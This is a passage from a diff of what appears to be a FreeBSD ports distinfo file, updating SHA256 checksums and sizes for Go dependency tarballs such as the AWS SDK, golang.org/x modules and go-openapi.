SIZE (aws-aws-sdk-go-v2-v1.16.1_GH0.tar.gz) = 27999559 SHA256 (aws-aws-sdk-go-v2-v1.9.1_GH0.tar.gz) = 7a2023efe96322f0bb80a855e2d519b5f3165592ddbb27c45b1443d4c7ceecc0 SIZE (aws-aws-sdk-go-v2-v1.9.1_GH0.tar.gz) = 24002266 -SHA256 (aws-aws-sdk-go-v1.44.102_GH0.tar.gz) = d91b5bd4ebc1c0f0dab20ba4856624996e35a7b2945fe2a5ae6bda3e166e3cdb -SIZE (aws-aws-sdk-go-v1.44.102_GH0.tar.gz) = 24383546 +SHA256 (aws-aws-sdk-go-v1.44.187_GH0.tar.gz) = b666a65b3caf20e409f31a1eab42c4d2568b7959a488d9d0eccce83b3e883af8 +SIZE (aws-aws-sdk-go-v1.44.187_GH0.tar.gz) = 26894974 SHA256 (aws-smithy-go-v1.11.1_GH0.tar.gz) = 4d5ca58a4d6241886d047dc24d00b7462b4b77c871a5f5e4ce90ad8256ee167f SIZE (aws-smithy-go-v1.11.1_GH0.tar.gz) = 301431 -SHA256 (baidubce-bce-sdk-go-v0.9.111_GH0.tar.gz) = d8c7a23b93a945bafcc4cd0b0d9927a105b73f4a086403aa2adedb96f15efe7b -SIZE (baidubce-bce-sdk-go-v0.9.111_GH0.tar.gz) = 556450 +SHA256 (baidubce-bce-sdk-go-v0.9.141_GH0.tar.gz) = 6b273941985efb92b08b643e92322468921ca8e4e893a66cff75fd2843a7727a +SIZE (baidubce-bce-sdk-go-v0.9.141_GH0.tar.gz) = 641703 SHA256 (beorn7-perks-v1.0.1_GH0.tar.gz) = 98db84bb0224a26094e6adba91b7ee7a1a7ace28cb648d818f8e779e6a19f825 SIZE (beorn7-perks-v1.0.1_GH0.tar.gz) = 10867 -SHA256 (bmatcuk-doublestar-v1.2.2_GH0.tar.gz) = 95591955a9623abfa2bb048e7d1f12d1242fcaba57e81e0e3d3e9ecca17532be -SIZE (bmatcuk-doublestar-v1.2.2_GH0.tar.gz) = 9820 +SHA256 (bmatcuk-doublestar-v1.3.4_GH0.tar.gz) = 955fc82b044496894749edda9ca88390b478c59a8d01d23d9c38b8506864eabe +SIZE (bmatcuk-doublestar-v1.3.4_GH0.tar.gz) = 10878 SHA256 (buger-jsonparser-v1.1.1_GH0.tar.gz) = cf208ab8af3ca20759d65f39e0a07891b13a8afeac2a2ee05216bef89e85d8e6 SIZE (buger-jsonparser-v1.1.1_GH0.tar.gz) = 55200 SHA256 (c2h5oh-datasize-28bbd4740fee_GH0.tar.gz) = 8f07351e7f97d619ca328460181a73f3e30af86554a74cf7199afc78713c599b SIZE (c2h5oh-datasize-28bbd4740fee_GH0.tar.gz) = 4124 -SHA256 (census-instrumentation-opencensus-go-v0.23.0_GH0.tar.gz) = cc9dc0234de1baacf1855cf19615b381ca2f2adb83a2871e7a9b8b74e46818cf -SIZE (census-instrumentation-opencensus-go-v0.23.0_GH0.tar.gz) = 176498 +SHA256 (census-instrumentation-opencensus-go-v0.24.0_GH0.tar.gz) = 048708914541817193330ce052026deb0c617c9d953ac15ae601ab2bde5788d1 +SIZE (census-instrumentation-opencensus-go-v0.24.0_GH0.tar.gz) = 176752 +SHA256 (census-instrumentation-opencensus-proto-v0.3.0_GH0.tar.gz) = b7e13f0b4259e80c3070b583c2f39e53153085a6918718b1c710caf7037572b0 +SIZE (census-instrumentation-opencensus-proto-v0.3.0_GH0.tar.gz) = 163404 SHA256 (cespare-xxhash-v1.1.0_GH0.tar.gz) = 9418be390574092f0ca989b9ae2f5450270ead8125a635a100850b28c8c9c495 SIZE (cespare-xxhash-v1.1.0_GH0.tar.gz) = 8200 -SHA256 (cespare-xxhash-v2.1.2_GH0.tar.gz) = 471399cfcf0b1bd188add8d34435b91e7011cedbfe76e29687803a9d74320352 -SIZE (cespare-xxhash-v2.1.2_GH0.tar.gz) = 11244 +SHA256 (cespare-xxhash-v2.2.0_GH0.tar.gz) = b8c684b9e5e136510913727e6a845b28f8176e55db827b11f17769fba970fe13 +SIZE (cespare-xxhash-v2.2.0_GH0.tar.gz) = 12334 +SHA256 (cncf-udpa-04548b0d99d4_GH0.tar.gz) = 30d87780df8c93070d8c5c5e870b1c638eaac35789b6febb7a2695829abbb290 +SIZE (cncf-udpa-04548b0d99d4_GH0.tar.gz) = 20518 +SHA256 (cncf-xds-7f1daf1720fc_GH0.tar.gz) = 9627f1104c1e5e590a8941da4efe67f6d3e82825769bab4273e8835daec2f6c2 +SIZE (cncf-xds-7f1daf1720fc_GH0.tar.gz) = 86593 SHA256 (containerd-fifo-v1.0.0_GH0.tar.gz) = f67dfd98f9e0342fee6aab28a5bf90654555bfa16db0489de3bb1434a9f9a83c SIZE (containerd-fifo-v1.0.0_GH0.tar.gz) = 12388 SHA256 (coreos-go-semver-v0.3.0_GH0.tar.gz) = 1b72134483db366fb43f216727d6bc110086d4450ce0d226960cf4ce823d6eb9 SIZE (coreos-go-semver-v0.3.0_GH0.tar.gz) = 10663 SHA256 (coreos-go-systemd-d3cd4ed1dbcf_GH0.tar.gz) = 89fc7afa3593ee4d6f91087fa47d02ade4103882f0a33225faec7b922ce5ebc4 SIZE (coreos-go-systemd-d3cd4ed1dbcf_GH0.tar.gz) = 67792 -SHA256 (coreos-go-systemd-v22.3.2_GH0.tar.gz) = dbb1a3930d43f49e11c53f2010ab9609e18236f776a99921850cd05f54779438 -SIZE (coreos-go-systemd-v22.3.2_GH0.tar.gz) = 72134 -SHA256 (cristalhq-hedgedhttp-v0.7.0_GH0.tar.gz) = a6e25ffbb6d4e5548f27925781cf7d19f0a6a6784003b891427d990cee38dbfe -SIZE (cristalhq-hedgedhttp-v0.7.0_GH0.tar.gz) = 8694 -SHA256 (cyriltovena-cloudflare-go-ff77400bcb93_GH0.tar.gz) = b4050afd5c0aff38c3c51080b49f0c4a9c672078eab4e7149ff3c2140b70bf12 -SIZE (cyriltovena-cloudflare-go-ff77400bcb93_GH0.tar.gz) = 199600 -SHA256 (dannykopping-go-kit-log-5591c1641b6b_GH0.tar.gz) = bed12505306f199576008f85532510346202fc96a15feb5cd500735772f9466f -SIZE (dannykopping-go-kit-log-5591c1641b6b_GH0.tar.gz) = 32659 +SHA256 (coreos-go-systemd-v22.4.0_GH0.tar.gz) = a3ca62e2344ba0f6cb0df4cb0c6ffb62c3e24f894844fe87cfacdea6460129c3 +SIZE (coreos-go-systemd-v22.4.0_GH0.tar.gz) = 73248 +SHA256 (cristalhq-hedgedhttp-v0.7.2_GH0.tar.gz) = e15d68fda4b772638c43d7b0c584b5a73d4f990ce3a5d655eea108fc9dcce502 +SIZE (cristalhq-hedgedhttp-v0.7.2_GH0.tar.gz) = 8525 SHA256 (davecgh-go-spew-v1.1.1_GH0.tar.gz) = 7d82b9bb7291adbe7498fe946920ab3e7fc9e6cbfc3b2294693fad00bf0dd17e SIZE (davecgh-go-spew-v1.1.1_GH0.tar.gz) = 42152 SHA256 (dennwc-varint-v1.0.0_GH0.tar.gz) = 4300e5fb475f56a045f0f65da75b636a09d37ab7c573c82b81257ece96286f57 SIZE (dennwc-varint-v1.0.0_GH0.tar.gz) = 4769 SHA256 (dgryski-go-rendezvous-9f7001d12a5f_GH0.tar.gz) = 29584550745fd4b8fce2e2f3def7b9d9ffe2b86cf9b6596b53a660c9bbfe27b6 SIZE (dgryski-go-rendezvous-9f7001d12a5f_GH0.tar.gz) = 1699 -SHA256 (digitalocean-godo-v1.84.1_GH0.tar.gz) = 187ab12b5b5287f019598228879d1e32f39ff5f8c7bac7d2b804b0912bfcbc48 -SIZE (digitalocean-godo-v1.84.1_GH0.tar.gz) = 152188 +SHA256 (digitalocean-godo-v1.95.0_GH0.tar.gz) = 0397d7c510440617372e29472d44aec9faf03330ffac3ad6f2ca07dade7e6d78 +SIZE (digitalocean-godo-v1.95.0_GH0.tar.gz) = 178856 SHA256 (dimchansky-utfbom-v1.1.1_GH0.tar.gz) = 081a9e23640c56f9a90cb76ce538c6cfb33b58ea58d4e6253533adf238904166 SIZE (dimchansky-utfbom-v1.1.1_GH0.tar.gz) = 8486 -SHA256 (docker-distribution-v2.7.1_GH0.tar.gz) = 4c3609c102351f15c0386f619d48bb592f3100726b4bde86f3eba7739192ff55 -SIZE (docker-distribution-v2.7.1_GH0.tar.gz) = 1996699 +SHA256 (docker-distribution-v2.8.1_GH0.tar.gz) = a45fd1412482ede198e71f20f4ad6d63ac8208251ac93856c401ff926d7220e5 +SIZE (docker-distribution-v2.8.1_GH0.tar.gz) = 2007611 SHA256 (docker-go-connections-v0.4.0_GH0.tar.gz) = e31dfcf72dd9b07bf6dc320671a78a142a1b7c6287a7282c034c8cd463bc8663 SIZE (docker-go-connections-v0.4.0_GH0.tar.gz) = 30770 SHA256 (docker-go-metrics-v0.0.1_GH0.tar.gz) = a8a31fd2f59880f4d771c7de45b7dbcee309468ed94740d960e0c76488f9a60b SIZE (docker-go-metrics-v0.0.1_GH0.tar.gz) = 19923 SHA256 (docker-go-plugins-helpers-1e6269c305b8_GH0.tar.gz) = 723d5d8a4f5262272334fb25deb5c068637a4d57765873376fb1a420f52e5e0b SIZE (docker-go-plugins-helpers-1e6269c305b8_GH0.tar.gz) = 26808 -SHA256 (docker-go-units-v0.4.0_GH0.tar.gz) = b411f15ca9b419880006f3944b8ec87dc3fe15cbba3beb6e04f2c03f9ea8370b -SIZE (docker-go-units-v0.4.0_GH0.tar.gz) = 11514 -SHA256 (drone-envsubst-v1.0.2_GH0.tar.gz) = b32ddc9f0ed3d86bbf4a166c0179f9f9249ae7be751faa8020e6b535c4955d9c -SIZE (drone-envsubst-v1.0.2_GH0.tar.gz) = 10831 +SHA256 (docker-go-units-v0.5.0_GH0.tar.gz) = db0a1d3e4deaa52401423bf76cce0a5100cf2e51db3c33cf3c70b7953c7d6234 +SIZE (docker-go-units-v0.5.0_GH0.tar.gz) = 12243 +SHA256 (drone-envsubst-v1.0.3_GH0.tar.gz) = 2db729ef4f8403ad200b029618e3d0d9a03af5f1643bd49c85a179a9a329e5cb +SIZE (drone-envsubst-v1.0.3_GH0.tar.gz) = 11818 SHA256 (dustin-go-humanize-v1.0.0_GH0.tar.gz) = e4540bd50ac855143b4f2e509313079c50cf5d8774f09cc10dbca5ae9803d8ba SIZE (dustin-go-humanize-v1.0.0_GH0.tar.gz) = 17260 -SHA256 (eapache-go-resiliency-v1.2.0_GH0.tar.gz) = f9b3d4e28c7f456e912462f72041124b0d152044d20f84c645e287443a0200ef -SIZE (eapache-go-resiliency-v1.2.0_GH0.tar.gz) = 10399 -SHA256 (eapache-go-xerial-snappy-776d5712da21_GH0.tar.gz) = 4bc90007c4d09abfb9d5a078c48049d5daa70d84fee050565f3230358b833516 -SIZE (eapache-go-xerial-snappy-776d5712da21_GH0.tar.gz) = 7896 +SHA256 (eapache-go-resiliency-v1.3.0_GH0.tar.gz) = 9da45edd8f17c98b4b0b9645962d26cc2d3e13220c6709633c3c2a57c5237915 +SIZE (eapache-go-resiliency-v1.3.0_GH0.tar.gz) = 11085 +SHA256 (eapache-go-xerial-snappy-bf00bc1b83b6_GH0.tar.gz) = e112d3a88b80a181b28f5a093afbe8e5eda6e1a5697d8f66dcaec24cbad0ba51 +SIZE (eapache-go-xerial-snappy-bf00bc1b83b6_GH0.tar.gz) = 8477 SHA256 (eapache-queue-v1.1.0_GH0.tar.gz) = 2be4716ba2bba5f7c125a8fe72ba534f02cf0d7d98d3a372d4ebe54b170f7329 SIZE (eapache-queue-v1.1.0_GH0.tar.gz) = 3502 SHA256 (edsrzf-mmap-go-v1.1.0_GH0.tar.gz) = f5b3fe0c6b243706cffeb3f37207dda409bb73d3abb248cb3f82d21b4b29bcd4 SIZE (edsrzf-mmap-go-v1.1.0_GH0.tar.gz) = 6888 -SHA256 (efficientgo-tools-fe763185946b_GH0.tar.gz) = 6b6c9b6a838256c11b779ad505933cdfcc5e28b99f2068ef8499637365f987e4 -SIZE (efficientgo-tools-fe763185946b_GH0.tar.gz) = 42808 +SHA256 (efficientgo-core-v1.0.0-rc.2_GH0.tar.gz) = 4f6f0f8cca5f9dc353b1b97fec4f38e8a4c1e6ffb4f68091a74e461c6fba3fef +SIZE (efficientgo-core-v1.0.0-rc.2_GH0.tar.gz) = 130723 +SHA256 (emicklei-go-restful-v3.9.0_GH0.tar.gz) = 4e25efc979784795b93e023a29fdc9270f186db52ee8f9072c6091f0b6407d8a +SIZE (emicklei-go-restful-v3.9.0_GH0.tar.gz) = 81811 +SHA256 (envoyproxy-go-control-plane-v0.10.3_GH0.tar.gz) = a4195df9f5ace0451aacc8f05a2d50c0feaba00cd15266de29ab84d91f87b292 +SIZE (envoyproxy-go-control-plane-v0.10.3_GH0.tar.gz) = 2443453 +SHA256 (envoyproxy-protoc-gen-validate-v0.9.1_GH0.tar.gz) = ce36e215504fb3b05dadeee2420ff6f08231ccc2f2203199bfec8467bef2d2ce +SIZE (envoyproxy-protoc-gen-validate-v0.9.1_GH0.tar.gz) = 192972 SHA256 (etcd-io-bbolt-v1.3.6_GH0.tar.gz) = a2e524f7f32c44fa0765de192ac0789c585010cadd2c2ddcf9518e858a96ec1f SIZE (etcd-io-bbolt-v1.3.6_GH0.tar.gz) = 98025 SHA256 (etcd-io-etcd-v3.5.4_GH0.tar.gz) = 10e8c1604578d4a8557263d61d4fbbd2428c8cd8dda3c8a23a8755314af6ef10 SIZE (etcd-io-etcd-v3.5.4_GH0.tar.gz) = 4036526 SHA256 (facette-natsort-2cd4dd1e2dcb_GH0.tar.gz) = aa65ea416cb4c72d672c7207afdda9c4dc5a535b5c72781636cc5dc82411eacb SIZE (facette-natsort-2cd4dd1e2dcb_GH0.tar.gz) = 2881 -SHA256 (fatih-color-v1.13.0_GH0.tar.gz) = 326ff785bc0cb5171c17be2a65959e83ee7889ba39412ba4c53c062e2df3ffec -SIZE (fatih-color-v1.13.0_GH0.tar.gz) = 10826 -SHA256 (felixge-fgprof-v0.9.2_GH0.tar.gz) = d3278a29a85d456694cd65bea1bdb6b23b6634340bd7d66e818f9fe0be2d1812 -SIZE (felixge-fgprof-v0.9.2_GH0.tar.gz) = 339400 +SHA256 (fatih-color-v1.14.1_GH0.tar.gz) = f4143b70a621a169e9d565814aa3a8449482f964ee08fdd09f72af1cf7154429 +SIZE (fatih-color-v1.14.1_GH0.tar.gz) = 11014 +SHA256 (felixge-fgprof-v0.9.3_GH0.tar.gz) = 1238e9f4753982929999135b2e725a2680bbfca1f336d43c6028c232c2201232 +SIZE (felixge-fgprof-v0.9.3_GH0.tar.gz) = 340504 SHA256 (felixge-httpsnoop-v1.0.3_GH0.tar.gz) = 6c8f1ff85d90b4af6e6158d33e9fb7a2fe86dcb2c61b1082e8d755a868d466dd SIZE (felixge-httpsnoop-v1.0.3_GH0.tar.gz) = 11662 SHA256 (fluent-fluent-bit-go-ea13c021720c_GH0.tar.gz) = 6fee755689f7bee7e888ed0a7bde123c53c92d292b6c29589f83fe0d7cf9d9a9 SIZE (fluent-fluent-bit-go-ea13c021720c_GH0.tar.gz) = 10117 SHA256 (fsnotify-fsnotify-v1.4.7_GH0.tar.gz) = b7530d973d0ab0e58ad8ce1b9a4b963d6f57b3d72f2f9e13d49846976361b1cd SIZE (fsnotify-fsnotify-v1.4.7_GH0.tar.gz) = 31139 -SHA256 (fsnotify-fsnotify-v1.5.4_GH0.tar.gz) = cb5f0105cb651186795c275271eea30ea151c9f6d4c8d8d9b25b819050531de7 -SIZE (fsnotify-fsnotify-v1.5.4_GH0.tar.gz) = 33771 +SHA256 (fsnotify-fsnotify-v1.6.0_GH0.tar.gz) = 583b2b399709d04807c5c3185e7d4dc0543d532af91fdeb85eeaf803a0b7703b +SIZE (fsnotify-fsnotify-v1.6.0_GH0.tar.gz) = 46044 SHA256 (fsouza-fake-gcs-server-v1.7.0_GH0.tar.gz) = f604861d1d9aad6bc0314a11f8cebacea3a749219558a08e0b2948dd8f13770a SIZE (fsouza-fake-gcs-server-v1.7.0_GH0.tar.gz) = 22535 SHA256 (go-inf-inf-v0.9.1_GH0.tar.gz) = 756e00e87207cb063d305b6e38bf56dba4d76586fbe40b7d6b657d22516d0f71 @@ -159,30 +179,32 @@ SHA256 (go-ini-ini-v1.66.6_GH0.tar.gz) = d82b3fb1c4cee95ae545fb7e5dc290d0dd5e1f8 SIZE (go-ini-ini-v1.66.6_GH0.tar.gz) = 53545 SHA256 (go-kit-kit-v0.12.0_GH0.tar.gz) = 418075a310b8ad7d150bea0d9817074b9e6e46f813d83f58f5e2da4a087fb00c SIZE (go-kit-kit-v0.12.0_GH0.tar.gz) = 211143 -SHA256 (go-logfmt-logfmt-v0.5.1_GH0.tar.gz) = a9a93f7cbb92a53a587fda196bc040264a625e76064495e95cb3e907f9a93499 -SIZE (go-logfmt-logfmt-v0.5.1_GH0.tar.gz) = 12115 +SHA256 (go-kit-log-v0.2.1_GH0.tar.gz) = b37718967f9cbdb3eea4aa2fa9420b7d329b6bab7f9b85f970db197257226152 +SIZE (go-kit-log-v0.2.1_GH0.tar.gz) = 30579 +SHA256 (go-logfmt-logfmt-v0.6.0_GH0.tar.gz) = e4c26af3226cee1486004da7ebb1f0b8485df62513cca6671edf7c4d420fadfd +SIZE (go-logfmt-logfmt-v0.6.0_GH0.tar.gz) = 12609 SHA256 (go-logr-logr-v1.2.3_GH0.tar.gz) = c5e27e7dcd864e17b3187739fea1c2f149a0e1a9c53e54d8a242db24443c3667 SIZE (go-logr-logr-v1.2.3_GH0.tar.gz) = 38564 SHA256 (go-logr-stdr-v1.2.2_GH0.tar.gz) = 37d975b280d884ca0d55a800bc6e47314b6e86268e56254f9d15d19ca9404eb8 SIZE (go-logr-stdr-v1.2.2_GH0.tar.gz) = 9098 -SHA256 (go-openapi-analysis-v0.21.2_GH0.tar.gz) = 7f3062521d5137695f89f970b8c37c046f6184934ec809cf60f0de4fdb844057 -SIZE (go-openapi-analysis-v0.21.2_GH0.tar.gz) = 229669 -SHA256 (go-openapi-errors-v0.20.2_GH0.tar.gz) = dbf7450e8b293ee886bc27af8bd19abb525090561935c367c1052a53e4d67fca -SIZE (go-openapi-errors-v0.20.2_GH0.tar.gz) = 18423 +SHA256 (go-openapi-analysis-v0.21.4_GH0.tar.gz) = ead669e1b4daa7d4a06656d4c4da1af1258a9d77879be587d4add51bfba8cb9a +SIZE (go-openapi-analysis-v0.21.4_GH0.tar.gz) = 227340 +SHA256 (go-openapi-errors-v0.20.3_GH0.tar.gz) = acf47ec4df97f16e983a9904bd28b74f3db623a8dd6bdfc842f40568ddac7d96 +SIZE (go-openapi-errors-v0.20.3_GH0.tar.gz) = 18502 SHA256 (go-openapi-jsonpointer-v0.19.5_GH0.tar.gz) = 587217a2edeedbe6de0f0ba62d7c347f31be2f7016da4fafdeda3aba5dd6b1a9 SIZE (go-openapi-jsonpointer-v0.19.5_GH0.tar.gz) = 15456 SHA256 (go-openapi-jsonreference-v0.20.0_GH0.tar.gz) = 7d663251bf97ca39af0c4fe0af10a27cda3eaa5fb2c8deede7aa993f2c9ba5ed SIZE (go-openapi-jsonreference-v0.20.0_GH0.tar.gz) = 14007 -SHA256 (go-openapi-loads-v0.21.1_GH0.tar.gz) = c58e37f26124ea76fe77c59dc23231c9c488740f72c2a80d495f8281e4c4c264 -SIZE (go-openapi-loads-v0.21.1_GH0.tar.gz) = 61832 -SHA256 (go-openapi-spec-v0.20.5_GH0.tar.gz) = 99d2e5d1f3bcbb29f821218fddf91f9f5134e39f362db15b4448b2766d93bde0 -SIZE (go-openapi-spec-v0.20.5_GH0.tar.gz) = 296188 +SHA256 (go-openapi-loads-v0.21.2_GH0.tar.gz) = 6365230a29cbc9367a123021eb9c253bf9c8e516b27a51e77078d723e055e839 +SIZE (go-openapi-loads-v0.21.2_GH0.tar.gz) = 58477 +SHA256 (go-openapi-spec-v0.20.7_GH0.tar.gz) = 71e8ee916e096509ea03fe919f5299084c5be56e602ad84ee99a979983608c76 +SIZE (go-openapi-spec-v0.20.7_GH0.tar.gz) = 295488 SHA256 (go-openapi-strfmt-v0.21.3_GH0.tar.gz) = 6c0b967817de5ddbb583d11287f69e468c1871b88e0ce465f8d32f3cfee9dbc5 SIZE (go-openapi-strfmt-v0.21.3_GH0.tar.gz) = 40979 -SHA256 (go-openapi-swag-v0.21.1_GH0.tar.gz) = 4860f473406dea0e537205a14710320274e1fe7ced11901f1a3b9bcbc3ff7a31 -SIZE (go-openapi-swag-v0.21.1_GH0.tar.gz) = 35326 -SHA256 (go-openapi-validate-v0.21.0_GH0.tar.gz) = 2e483d80abba514761db50fd328279f96e3393222bce90dff79ee1d1d37e88a2 -SIZE (go-openapi-validate-v0.21.0_GH0.tar.gz) = 457454 +SHA256 (go-openapi-swag-v0.22.3_GH0.tar.gz) = 79576a90fb1632bd158e114e90d02fc6f512eee47e79ed3c5ea3d1b1fd56c55d +SIZE (go-openapi-swag-v0.22.3_GH0.tar.gz) = 36948 +SHA256 (go-openapi-validate-v0.22.0_GH0.tar.gz) = 025b1fa955a7638e6e4950c92262cc8a9a89f229c15abca34d0e162038a31081 +SIZE (go-openapi-validate-v0.22.0_GH0.tar.gz) = 457535 SHA256 (go-redis-redis-v8.11.5_GH0.tar.gz) = 49f307ad85960c25d98bea3b2d155c893e43f41831c1bb4891e1eb867ead1245 SIZE (go-redis-redis-v8.11.5_GH0.tar.gz) = 168188 SHA256 (go-tomb-tomb-dd632973f1e7_GH0.tar.gz) = b67f4ee9324a78176bc3196fe262388696aeb3f31d9879d498200219f9c4c554 @@ -193,148 +215,154 @@ SHA256 (go-yaml-yaml-v3.0.1_GH0.tar.gz) = cf05411540d3e6ef8f1fd88434b34f94cedace SIZE (go-yaml-yaml-v3.0.1_GH0.tar.gz) = 91173 SHA256 (go-zookeeper-zk-v1.0.3_GH0.tar.gz) = 543f67b5175af07c92b4f12c39af8b1bfded21ca42a5ad2d717f361642104ea8 SIZE (go-zookeeper-zk-v1.0.3_GH0.tar.gz) = 44905 -SHA256 (go4org-intern-ae77deb06f29_GH0.tar.gz) = 965cce228daf8cf1a6881de7358e6c14997498901740fffaa72bd1c1757c3b19 -SIZE (go4org-intern-ae77deb06f29_GH0.tar.gz) = 5118 -SHA256 (go4org-unsafe-assume-no-moving-gc-e4bae7ad2296_GH0.tar.gz) = 87052588c651c4c00747588de0945e60a1ab688a1f7a3066613a02adc646b8ba -SIZE (go4org-unsafe-assume-no-moving-gc-e4bae7ad2296_GH0.tar.gz) = 2653 -SHA256 (gofrs-flock-v0.7.1_GH0.tar.gz) = d4e33c3923e671fe6288a6dcb6618b7c46834c1a387653f482f5247c5a132dea -SIZE (gofrs-flock-v0.7.1_GH0.tar.gz) = 7294 +SHA256 (go4org-netipx-8449b0a6169f_GH0.tar.gz) = f2da86eb8b502b92d963e3cc0ad32208da827f73267bc332a6af91ea5a452c0a +SIZE (go4org-netipx-8449b0a6169f_GH0.tar.gz) = 22693 +SHA256 (gofrs-flock-v0.8.1_GH0.tar.gz) = 6967d9f609c0e0fb0290098a6dd8910bc95700b59ed40e691a794a411a036592 +SIZE (gofrs-flock-v0.8.1_GH0.tar.gz) = 9054 SHA256 (gogo-googleapis-v1.4.0_GH0.tar.gz) = 0f1be0cc87e1f7942091f529dd2669d66fc249d57c6ed6906666d42b6d384497 SIZE (gogo-googleapis-v1.4.0_GH0.tar.gz) = 146813 SHA256 (gogo-protobuf-v1.3.2_GH0.tar.gz) = 2bb4b13d6e56b3911f09b8e9ddd15708477fbff8823c057cc79dd99c9a452b34 SIZE (gogo-protobuf-v1.3.2_GH0.tar.gz) = 2038725 SHA256 (gogo-status-v1.1.1_GH0.tar.gz) = 3ca52413906479f49874f7b9ca7425bd29140647a21da31f3ee7ad09b95db4fe SIZE (gogo-status-v1.1.1_GH0.tar.gz) = 10912 -SHA256 (golang-jwt-jwt-v4.4.1_GH0.tar.gz) = 4129e3b348d370a33be9cacc3d9e27978829b3b30c10fb3961df2a875844a644 -SIZE (golang-jwt-jwt-v4.4.1_GH0.tar.gz) = 50358 +SHA256 (golang-jwt-jwt-v4.4.3_GH0.tar.gz) = be13d01d3a5b72b14bd828260ded61ce0eedfdf975160ca9ccebbbea6b09bf6a +SIZE (golang-jwt-jwt-v4.4.3_GH0.tar.gz) = 52257 SHA256 (golang-appengine-v1.6.7_GH0.tar.gz) = c623d81235f7c9699e299b328191d813337dd57dcc800d7afdb5130e8c321a8f SIZE (golang-appengine-v1.6.7_GH0.tar.gz) = 333007 -SHA256 (golang-crypto-630584e8d5aa_GH0.tar.gz) = 8e3a597010e5de9b02f1feae066510c52dd8de2b12069c24cff5424df833540b -SIZE (golang-crypto-630584e8d5aa_GH0.tar.gz) = 1631349 +SHA256 (golang-crypto-v0.5.0_GH0.tar.gz) = 8bcfaa35f98b42734c36989ab8f98b51343468ddcd386f4583a585c1f23b33dd +SIZE (golang-crypto-v0.5.0_GH0.tar.gz) = 1633607 +SHA256 (golang-exp-d38c7dcee874_GH0.tar.gz) = 34f0ed7218c85e05f6cb70f88ebd77178c8b67009c2da3b32e39f47a311bbc07 +SIZE (golang-exp-d38c7dcee874_GH0.tar.gz) = 1614796 SHA256 (golang-groupcache-41bb18bfe9da_GH0.tar.gz) = 1e89795970d6593affdafe1d09dcf947681ca1ea82528e8e4fb9974a77f2e394 SIZE (golang-groupcache-41bb18bfe9da_GH0.tar.gz) = 26101 -SHA256 (golang-mod-86c51ed26bb4_GH0.tar.gz) = 4d1f513fe094430002d2fb34762658c133ad262f16a2e9ca1f9a23013666b915 -SIZE (golang-mod-86c51ed26bb4_GH0.tar.gz) = 119675 -SHA256 (golang-net-d0c6ba3f52d9_GH0.tar.gz) = 80908de87e60150f77f38c18ad11af609068b9b3ec28fc43fd3cda1983c7a209 -SIZE (golang-net-d0c6ba3f52d9_GH0.tar.gz) = 1227475 -SHA256 (golang-oauth2-f21342109be1_GH0.tar.gz) = fe59459a7152b6dbfbe26961f1a02ecf2e17dd591a9398f917ad1c15a11f2bcc -SIZE (golang-oauth2-f21342109be1_GH0.tar.gz) = 104310 +SHA256 (golang-mod-v0.7.0_GH0.tar.gz) = 1846c24608808de0c6b9e0d8de1d017fc3dd090bcda96741eba7c38a4c39b157 +SIZE (golang-mod-v0.7.0_GH0.tar.gz) = 120272 +SHA256 (golang-net-v0.7.0_GH0.tar.gz) = 4949a0dbdd3c200c8681c18bebd65c8e8b620470189361dac05c89c714d9a59b +SIZE (golang-net-v0.7.0_GH0.tar.gz) = 1241017 +SHA256 (golang-oauth2-v0.4.0_GH0.tar.gz) = 62563068253c5f96b86d213f21794162a50f0c1aca2843797a50171b4d404bd0 +SIZE (golang-oauth2-v0.4.0_GH0.tar.gz) = 87075 SHA256 (golang-protobuf-v1.5.2_GH0.tar.gz) = 088cc0f3ba18fb8f9d00319568ff0af5a06d8925a6e6cb983bb837b4efb703b3 SIZE (golang-protobuf-v1.5.2_GH0.tar.gz) = 171702 SHA256 (golang-snappy-v0.0.4_GH0.tar.gz) = 77df678795596f9dfecb5744deb984633d780460a7e9a59e0c7ecfe2052b644f SIZE (golang-snappy-v0.0.4_GH0.tar.gz) = 66129 -SHA256 (golang-sync-f12130a52804_GH0.tar.gz) = ccd150413eccaff5a8d2cf9ca1d89b9fe7bbc36cd23c6b9f8ffefa78d6e435f2 -SIZE (golang-sync-f12130a52804_GH0.tar.gz) = 19397 -SHA256 (golang-sys-fb04ddd9f9c8_GH0.tar.gz) = ab49fc59ec36a5fde683065aba1c1992159ea59fde5e15c04d4939edc4f19213 -SIZE (golang-sys-fb04ddd9f9c8_GH0.tar.gz) = 1358081 -SHA256 (golang-term-03fcf44c2211_GH0.tar.gz) = 1919967c8fbf15de9261a2315d90072357524ee557d7df106b426def02a8e5f3 -SIZE (golang-term-03fcf44c2211_GH0.tar.gz) = 14972 -SHA256 (golang-text-v0.3.7_GH0.tar.gz) = 7cab2f6c3133ac1d422edd952b0dd2082fa55a73c2663fb2defd9bf83d649b26 -SIZE (golang-text-v0.3.7_GH0.tar.gz) = 8354718 -SHA256 (golang-time-2ce7c2934d45_GH0.tar.gz) = af5883e469954162b8b28a30643d13e35134fc81324122eae2e2d42ebbf67453 -SIZE (golang-time-2ce7c2934d45_GH0.tar.gz) = 10851 -SHA256 (golang-tools-v0.1.12_GH0.tar.gz) = e15c17adbc82cb0660011ec841fe7d192074611761cd337961ffd9bb085ab20f -SIZE (golang-tools-v0.1.12_GH0.tar.gz) = 3139749 +SHA256 (golang-sync-v0.1.0_GH0.tar.gz) = 81056c07b5dc1077f2d6ac0f7ce3d4ef199a3ff85c319ab03dcff22fa9ba2183 +SIZE (golang-sync-v0.1.0_GH0.tar.gz) = 19356 +SHA256 (golang-sys-v0.5.0_GH0.tar.gz) = 810c8f1b7704674971ab6b2b614aba20a5a1765018fd2c639f528dbbcbf88b1f +SIZE (golang-sys-v0.5.0_GH0.tar.gz) = 1429723 +SHA256 (golang-term-v0.5.0_GH0.tar.gz) = a363183f934f45cb7a0b2fef46105e3e1983cd56bb3070a1a8b227e3276c74d3 +SIZE (golang-term-v0.5.0_GH0.tar.gz) = 14799 +SHA256 (golang-text-v0.7.0_GH0.tar.gz) = a37dfe82c39f84c57a083da9725dd1bdae59cff6a5cbca3ae4443e446b4a70b8 +SIZE (golang-text-v0.7.0_GH0.tar.gz) = 8361947 +SHA256 (golang-time-v0.3.0_GH0.tar.gz) = 2419ace580d977566862f0145991cd63f5db634518ea73f30d7a705a176e86eb +SIZE (golang-time-v0.3.0_GH0.tar.gz) = 12214 +SHA256 (golang-tools-v0.5.0_GH0.tar.gz) = 9bb9c15938a54efe883bddf5d54513e6076639b9dc4a46de7a5a042c3d6b6cfa +SIZE (golang-tools-v0.5.0_GH0.tar.gz) = 3281033 SHA256 